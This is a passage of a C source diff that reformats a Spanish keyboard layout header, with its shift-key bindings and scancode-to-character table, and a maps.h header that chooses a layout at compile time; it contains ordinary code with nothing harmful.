- EVS_SHIFT_BIND(KEY_EQUAL, "?"); // TODO change to '¿'
- EVS_SHIFT_BIND(KEY_LEFTBRACE, "^");
- EVS_SHIFT_BIND(KEY_RIGHTBRACE, "*");
- EVS_SHIFT_BIND(KEY_SEMICOLON, "N"); // TODO change to 'Ñ'
-// EVS_SHIFT_BIND(KEY_GRAVE, "Ç"); // TODO enable
- EVS_SHIFT_BIND(KEY_COMMA, ";");
- EVS_SHIFT_BIND(KEY_DOT, ":");
- EVS_SHIFT_BIND(KEY_SLASH, "_");
- EVS_SHIFT_BIND(KEY_102ND, ">");
+ skm = kmap_create();
+ EVS_SHIFT_BIND(KEY_1, "!");
+ EVS_SHIFT_BIND(KEY_2, "\"");
+ EVS_SHIFT_BIND(KEY_4, "$");
+ EVS_SHIFT_BIND(KEY_5, "%");
+ EVS_SHIFT_BIND(KEY_6, "&");
+ EVS_SHIFT_BIND(KEY_7, "/");
+ EVS_SHIFT_BIND(KEY_8, "(");
+ EVS_SHIFT_BIND(KEY_9, ")");
+ EVS_SHIFT_BIND(KEY_0, "=");
+ EVS_SHIFT_BIND(KEY_MINUS, "?");
+ EVS_SHIFT_BIND(KEY_EQUAL, "?"); // TODO change to '¿'
+ EVS_SHIFT_BIND(KEY_LEFTBRACE, "^");
+ EVS_SHIFT_BIND(KEY_RIGHTBRACE, "*");
+ EVS_SHIFT_BIND(KEY_SEMICOLON, "N"); // TODO change to 'Ñ'
+ // EVS_SHIFT_BIND(KEY_GRAVE, "Ç"); // TODO enable
+ EVS_SHIFT_BIND(KEY_COMMA, ";");
+ EVS_SHIFT_BIND(KEY_DOT, ":");
+ EVS_SHIFT_BIND(KEY_SLASH, "_");
+ EVS_SHIFT_BIND(KEY_102ND, ">");
}
static inline void exit_shiftmap(void)
{
- kmap_destroy(skm);
+ kmap_destroy(skm);
}
static char map[] = {
- '.', '.', '1', '2', '3', //0 // 1:ESC
- '4', '5', '6', '7', '8', //5
- '9', '0', '\'', '!', '.', //10 // 13:¡ (NOASCII) 14:BACKSPACE
- '.', 'q', 'w', 'e', 'r', //15 // 15:TAB
- 't', 'y', 'u', 'i', 'o', //20
- 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
- 'a', 's', 'd', 'f', 'g', //30
- 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
- '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
- 'x', 'c', 'v', 'b', 'n', //45
- 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS
- '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
- '.', '.', '.', '.', '.', //60
- '.', '.', '.', '.', '.', //65
- '.', '7', '8', '9', '-', //70
- '4', '5', '6', '+', '1', //75
- '2', '3', '.', '.', '.', //80
- '.', '<', '.', '.', '.', //85
- '.', '.', '.', '.', '.', //90
- '.', '\n', '.', '/', '.', //95 // 97:RCTRL
+ '.', '.', '1', '2', '3', // 0 // 1:ESC
+ '4', '5', '6', '7', '8', // 5
+ '9', '0', '\'', '!', '.', // 10 // 13:¡ (NOASCII) 14:BACKSPACE
+ '.', 'q', 'w', 'e', 'r', // 15 // 15:TAB
+ 't', 'y', 'u', 'i', 'o', // 20
+ 'p', '`', '+', '\n', '.', // 25 // 29:LCTRL
+ 'a', 's', 'd', 'f', 'g', // 30
+ 'h', 'j', 'k', 'l', 'n', // 35 // 39:ñ (NOASCII)
+ '\'', '.', '.', 'c', 'z', // 40 // 42:LMAYUS 43:ç (NOASCII)
+ 'x', 'c', 'v', 'b', 'n', // 45
+ 'm', ',', '.', '-', '.', // 50 // 52:. 54:RMAYUS
+ '*', '.', ' ', '.', '.', // 55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
+ '.', '.', '.', '.', '.', // 60
+ '.', '.', '.', '.', '.', // 65
+ '.', '7', '8', '9', '-', // 70
+ '4', '5', '6', '+', '1', // 75
+ '2', '3', '.', '.', '.', // 80
+ '.', '<', '.', '.', '.', // 85
+ '.', '.', '.', '.', '.', // 90
+ '.', '\n', '.', '/', '.', // 95 // 97:RCTRL
};
-#endif // __EVS_MAP_ES
+#endif // __EVS_MAP_ES
diff --git a/maps/maps.h b/maps/maps.h
index 969dc6f..c78851c 100644
--- a/maps/maps.h
+++ b/maps/maps.h
@@ -15,7 +15,7 @@
* previous function).
*
* For example,
- * EVS_SHIFT(KEY_7, "/");
+ * EVS_SHIFT(KEY_7, "/");
* associates the key of number 7 to the slash character when shift is pressed.
* Yeah, the character associated is a string: this is because of the map (kmap)
* implementation, [int -> (void *)].
@@ -39,11 +39,12 @@
// Load the map associated with the given keyboard layout
#ifndef EVS_KLAY
-#include "map_es.h" // default layout
+# include "map_es.h" // default layout
#elif EVS_KLAY == EVS_KLAY_EN
-#include "map_en.h"
+# include "map_en.h"
#elif EVS_KLAY == EVS_KLAY_ES
-#include "map_es.h"
-#endif // EVS_KLAY
+# include "map_es.h"
+#endif // EVS_KLAY
-#endif // __EVS_MAPS
+
+#endif // __EVS_MAPS